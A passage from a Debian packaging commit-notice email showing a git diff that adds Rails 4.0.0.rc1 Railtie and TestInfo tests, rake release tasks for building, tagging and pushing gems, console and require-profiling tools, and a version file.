+
+ test "Railtie provides railtie_name" do
+ begin
+ class ::FooBarBaz < Rails::Railtie ; end
+ assert_equal "foo_bar_baz", ::FooBarBaz.railtie_name
+ ensure
+ Object.send(:remove_const, :"FooBarBaz")
+ end
+ end
+
+ test "railtie_name can be set manually" do
+ class Foo < Rails::Railtie
+ railtie_name "bar"
+ end
+ assert_equal "bar", Foo.railtie_name
+ end
+
+ test "cannot inherit from a railtie" do
+ class Foo < Rails::Railtie ; end
+ assert_raise RuntimeError do
+ class Bar < Foo; end
+ end
+ end
+
+ test "config is available to railtie" do
+ class Foo < Rails::Railtie ; end
+ assert_nil Foo.config.action_controller.foo
+ end
+
+ test "config name is available for the railtie" do
+ class Foo < Rails::Railtie
+ config.foo = ActiveSupport::OrderedOptions.new
+ config.foo.greetings = "hello"
+ end
+ assert_equal "hello", Foo.config.foo.greetings
+ end
+
+ test "railtie configurations are available in the application" do
+ class Foo < Rails::Railtie
+ config.foo = ActiveSupport::OrderedOptions.new
+ config.foo.greetings = "hello"
+ end
+ require "#{app_path}/config/application"
+ assert_equal "hello", AppTemplate::Application.config.foo.greetings
+ end
+
+ test "railtie can add to_prepare callbacks" do
+ $to_prepare = false
+ class Foo < Rails::Railtie ; config.to_prepare { $to_prepare = true } ; end
+ assert !$to_prepare
+ require "#{app_path}/config/environment"
+ require "rack/test"
+ extend Rack::Test::Methods
+ get "/"
+ assert $to_prepare
+ end
+
+ test "railtie can add after_initialize callbacks" do
+ $after_initialize = false
+ class Foo < Rails::Railtie ; config.after_initialize { $after_initialize = true } ; end
+ assert !$after_initialize
+ require "#{app_path}/config/environment"
+ assert $after_initialize
+ end
+
+ test "rake_tasks block is executed when MyApp.load_tasks is called" do
+ $ran_block = false
+
+ class MyTie < Rails::Railtie
+ rake_tasks do
+ $ran_block = true
+ end
+ end
+
+ require "#{app_path}/config/environment"
+
+ assert !$ran_block
+ require 'rake'
+ require 'rake/testtask'
+ require 'rdoc/task'
+
+ AppTemplate::Application.load_tasks
+ assert $ran_block
+ end
+
+ test "rake_tasks block defined in superclass of railtie is also executed" do
+ $ran_block = []
+
+ class Rails::Railtie
+ rake_tasks do
+ $ran_block << railtie_name
+ end
+ end
+
+ class MyTie < Rails::Railtie
+ railtie_name "my_tie"
+ end
+
+ require "#{app_path}/config/environment"
+
+ assert_equal [], $ran_block
+ require 'rake'
+ require 'rake/testtask'
+ require 'rdoc/task'
+
+ AppTemplate::Application.load_tasks
+ assert $ran_block.include?("my_tie")
+ end
+
+ test "generators block is executed when MyApp.load_generators is called" do
+ $ran_block = false
+
+ class MyTie < Rails::Railtie
+ generators do
+ $ran_block = true
+ end
+ end
+
+ require "#{app_path}/config/environment"
+
+ assert !$ran_block
+ AppTemplate::Application.load_generators
+ assert $ran_block
+ end
+
+ test "console block is executed when MyApp.load_console is called" do
+ $ran_block = false
+
+ class MyTie < Rails::Railtie
+ console do
+ $ran_block = true
+ end
+ end
+
+ require "#{app_path}/config/environment"
+
+ assert !$ran_block
+ AppTemplate::Application.load_console
+ assert $ran_block
+ end
+
+ test "runner block is executed when MyApp.load_runner is called" do
+ $ran_block = false
+
+ class MyTie < Rails::Railtie
+ runner do
+ $ran_block = true
+ end
+ end
+
+ require "#{app_path}/config/environment"
+
+ assert !$ran_block
+ AppTemplate::Application.load_runner
+ assert $ran_block
+ end
+
+ test "railtie can add initializers" do
+ $ran_block = false
+
+ class MyTie < Rails::Railtie
+ initializer :something_nice do
+ $ran_block = true
+ end
+ end
+
+ assert !$ran_block
+ require "#{app_path}/config/environment"
+ assert $ran_block
+ end
+
+ test "we can change our environment if we want to" do
+ begin
+ original_env = Rails.env
+ Rails.env = 'foo'
+ assert_equal('foo', Rails.env)
+ ensure
+ Rails.env = original_env
+ assert_equal(original_env, Rails.env)
+ end
+ end
+ end
+end
diff --git a/railties/test/test_info_test.rb b/railties/test/test_info_test.rb
new file mode 100644
index 0000000..d5463c1
--- /dev/null
+++ b/railties/test/test_info_test.rb
@@ -0,0 +1,59 @@
+require 'abstract_unit'
+require 'rails/test_unit/sub_test_task'
+
+module Rails
+ class TestInfoTest < ActiveSupport::TestCase
+ def test_test_files
+ info = new_test_info ['test']
+ assert_predicate info.files, :empty?
+ assert_nil info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def test_with_file
+ info = new_test_info ['test', __FILE__]
+ assert_equal [__FILE__], info.files
+ assert_nil info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def test_with_opts
+ info = new_test_info ['test', __FILE__, '/foo/']
+ assert_equal [__FILE__], info.files
+ assert_equal '-n /foo/', info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def test_with_model_shorthand
+ info = new_test_info ['test', 'models/foo', '/foo/']
+
+ def info.test_file?(file)
+ file == "test/models/foo_test.rb" || super
+ end
+
+ assert_equal ['test/models/foo_test.rb'], info.files
+ assert_equal '-n /foo/', info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def test_with_model_path
+ info = new_test_info ['test', 'app/models/foo.rb', '/foo/']
+
+ def info.test_file?(file)
+ file == "test/models/foo_test.rb" || super
+ end
+
+ assert_equal ['test/models/foo_test.rb'], info.files
+ assert_equal '-n /foo/', info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def new_test_info(tasks)
+ Class.new(TestTask::TestInfo) {
+ def task_defined?(task)
+ task == "test"
+ end
+ }.new tasks
+ end
+ end
+end
diff --git a/tasks/release.rb b/tasks/release.rb
new file mode 100644
index 0000000..0c22f81
--- /dev/null
+++ b/tasks/release.rb
@@ -0,0 +1,128 @@
+FRAMEWORKS = %w( activesupport activemodel activerecord actionpack actionmailer railties )
+
+root = File.expand_path('../../', __FILE__)
+version = File.read("#{root}/RAILS_VERSION").strip
+tag = "v#{version}"
+
+directory "pkg"
+
+(FRAMEWORKS + ['rails']).each do |framework|
+ namespace framework do
+ gem = "pkg/#{framework}-#{version}.gem"
+ gemspec = "#{framework}.gemspec"
+
+ task :clean do
+ rm_f gem
+ end
+
+ task :update_version_rb do
+ glob = root.dup
+ glob << "/#{framework}/lib/*" unless framework == "rails"
+ glob << "/version.rb"
+
+ file = Dir[glob].first
+ ruby = File.read(file)
+
+ if framework == "rails" || framework == "railties"
+ major, minor, tiny, pre = version.split('.')
+ pre = pre ? pre.inspect : "nil"
+
+ ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
+ raise "Could not insert MAJOR in #{file}" unless $1
+
+ ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
+ raise "Could not insert MINOR in #{file}" unless $1
+
+ ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY = #{tiny}")
+ raise "Could not insert TINY in #{file}" unless $1
+
+ ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE = #{pre}")
+ raise "Could not insert PRE in #{file}" unless $1
+ else
+ ruby.gsub!(/^(\s*)Gem::Version\.new .*?$/, "\\1Gem::Version.new \"#{version}\"")
+ raise "Could not insert Gem::Version in #{file}" unless $1
+ end
+
+ File.open(file, 'w') { |f| f.write ruby }
+ end
+
+ task gem => %w(update_version_rb pkg) do
+ cmd = ""
+ cmd << "cd #{framework} && " unless framework == "rails"
+ cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/"
+ sh cmd
+ end
+
+ task :build => [:clean, gem]
+ task :install => :build do
+ sh "gem install #{gem}"
+ end
+
+ task :prep_release => [:ensure_clean_state, :build]
+
+ task :push => :build do
+ sh "gem push #{gem}"
+ end
+ end
+end
+
+namespace :changelog do
+ task :release_date do
+ FRAMEWORKS.each do |fw|
+ require 'date'
+ replace = '\1(' + Date.today.strftime('%B %d, %Y') + ')'
+ fname = File.join fw, 'CHANGELOG.md'
+
+ contents = File.read(fname).sub(/^([^(]*)\(unreleased\)/, replace)
+ File.open(fname, 'wb') { |f| f.write contents }
+ end
+ end
+
+ task :release_summary do
+ FRAMEWORKS.each do |fw|
+ puts "## #{fw}"
+ fname = File.join fw, 'CHANGELOG.md'
+ contents = File.readlines fname
+ contents.shift
+ changes = []
+ changes << contents.shift until contents.first =~ /^\*Rails \d+\.\d+\.\d+/
+ puts changes.reject { |change| change.strip.empty? }.join
+ puts
+ end
+ end
+end
+
+namespace :all do
+ task :build => FRAMEWORKS.map { |f| "#{f}:build" } + ['rails:build']
+ task :install => FRAMEWORKS.map { |f| "#{f}:install" } + ['rails:install']
+ task :push => FRAMEWORKS.map { |f| "#{f}:push" } + ['rails:push']
+
+ task :ensure_clean_state do
+ unless `git status -s | grep -v RAILS_VERSION`.strip.empty?
+ abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed"
+ end
+
+ unless ENV['SKIP_TAG'] || `git tag | grep #{tag}`.strip.empty?
+ abort "[ABORTING] `git tag` shows that #{tag} already exists. Has this version already\n"\
+ " been released? Git tagging can be skipped by setting SKIP_TAG=1"
+ end
+ end
+
+ task :commit do
+ File.open('pkg/commit_message.txt', 'w') do |f|
+ f.puts "# Preparing for #{version} release\n"
+ f.puts
+ f.puts "# UNCOMMENT THE LINE ABOVE TO APPROVE THIS COMMIT"
+ end
+
+ sh "git add . && git commit --verbose --template=pkg/commit_message.txt"
+ rm_f "pkg/commit_message.txt"
+ end
+
+ task :tag do
+ sh "git tag #{tag}"
+ sh "git push --tags"
+ end
+
+ task :release => %w(ensure_clean_state build commit tag push)
+end
diff --git a/tools/console b/tools/console
new file mode 100755
index 0000000..ea995a1
--- /dev/null
+++ b/tools/console
@@ -0,0 +1,7 @@
+#!/usr/bin/env ruby
+require File.expand_path('../../load_paths', __FILE__)
+require 'rails/all'
+require 'active_support/all'
+require 'irb'
+require 'irb/completion'
+IRB.start
diff --git a/tools/profile b/tools/profile
new file mode 100755
index 0000000..665efe0
--- /dev/null
+++ b/tools/profile
@@ -0,0 +1,72 @@
+#!/usr/bin/env ruby
+# Example:
+# tools/profile activesupport/lib/active_support.rb
+ENV['NO_RELOAD'] ||= '1'
+ENV['RAILS_ENV'] ||= 'development'
+
+Gem.source_index
+require 'benchmark'
+
+module RequireProfiler
+ private
+ def require(file, *args) RequireProfiler.profile(file) { super } end
+ def load(file, *args) RequireProfiler.profile(file) { super } end
+
+ @depth, @stats = 0, []
+ class << self
+ attr_accessor :depth
+ attr_accessor :stats
+
+ def profile(file)
+ stats << [file, depth]
+ self.depth += 1
+ result = nil
+ elapsed = Benchmark.realtime { result = yield }
+ self.depth -= 1
+ stats.pop if stats.last.first == file
+ stats << [file, depth, elapsed] if result
+ result
+ end
+ end
+end
+
+GC.start
+before_rss = `ps -o rss= -p #{Process.pid}`.to_i
+
+path = ARGV.shift
+if mode = ARGV.shift
+ require 'ruby-prof'
+ RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
+ RubyProf.start
+else
+ Object.instance_eval { include RequireProfiler }
+end
+
+elapsed = Benchmark.realtime { require path }
+results = RubyProf.stop if mode
+
+GC.start
+after_rss = `ps -o rss= -p #{Process.pid}`.to_i
+
+if mode
+ if printer = ARGV.shift
+ RubyProf.const_get("#{printer.to_s.classify}Printer").new(results).print($stdout)
+ elsif RubyProf.const_defined?(:CallStackPrinter)
+ File.open("#{File.basename(path, '.rb')}.#{mode}.html", 'w') do |out|
+ RubyProf::CallStackPrinter.new(results).print(out)
+ end
+ else
+ File.open("#{File.basename(path, '.rb')}.#{mode}.callgrind", 'w') do |out|
+ RubyProf::CallTreePrinter.new(results).print(out)
+ end
+ end
+end
+
+RequireProfiler.stats.each do |file, depth, sec|
+ if sec
+ puts "%8.1f ms %s%s" % [sec * 1000, ' ' * depth, file]
+ else
+ puts "#{' ' * (13 + depth)}#{file}"
+ end
+end
+puts "%8.1f ms %d KB RSS" % [elapsed * 1000, after_rss - before_rss]
diff --git a/version.rb b/version.rb
new file mode 100644
index 0000000..dcbf57a
--- /dev/null
+++ b/version.rb
@@ -0,0 +1,10 @@
+module Rails
+ module VERSION
+ MAJOR = 4
+ MINOR = 0
+ TINY = 0
+ PRE = "rc1"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
--
Alioth's /usr/local/bin/git-commit-notice on /srv/git.debian.org/git/pkg-ruby-extras/rails.git
More information about the Pkg-ruby-extras-commits
mailing list